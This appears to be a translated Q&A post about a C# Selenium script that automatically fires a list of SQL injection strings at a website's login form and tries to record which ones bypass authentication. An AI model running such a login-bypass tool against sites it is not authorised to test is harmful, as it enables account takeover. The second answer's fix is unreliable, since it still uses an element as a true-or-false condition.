            int counter=0;
            string url,usr,pass,text;
            System.Console.WriteLine("Enter the url to check sql injection");
            url= Console.ReadLine();
            System.Console.WriteLine("\nEnter the NAME of the usr");
            usr= Console.ReadLine();
            System.Console.WriteLine("\nEnter the NAME of the pass");
            pass= Console.ReadLine();
            System.Console.WriteLine("\nEnter the  text of link on page to know login");
            text = Console.ReadLine();
            IWebDriver Driver = new FirefoxDriver();
            while(counter<=47)
            {
            Driver.Navigate().GoToUrl(url);
            IWebElement y = Driver.FindElement(By.Name(usr));
            y.SendKeys(injections[counter]);

          IWebElement  z = Driver.FindElement(By.Name(pass));
               z.SendKeys(injections[counter]);
                z.Submit();

               if(Driver.FindElement(By.LinkText(text)));
               { 

                    logs[log]=usr;
                    log++;
            }

                counter++;
            }

        }
    }
}

如何在 if(Driver.FindElement(By.LinkText(text))); 上设置条件或在其他条件上设置条件，以便我知道用户已登录我正在制作一个可以测试 SQL 注入登录的自动化脚本。或者请帮我设定一个条件，如果条件为真，它将注入的查询存储在数组中，这样我就可以知道哪些注入成功登录了。

Answer 1

尝试

if(Driver.FindElements(By.LinkText(text)).Count > 0)

或者捕获Driver.FindElement抛出的异常。

ISearchContext.FindElements

ISearchContext.FindElement

Answer 2

我在这里看到了一个语法错误。您将以 ; 结束该行。应该是

if(Driver.FindElement(By.LinkText(text)))
{
    logs[log]=usr;
    log++;
}

我假定 linkText 有效并返回正确的元素并且延迟不是问题。
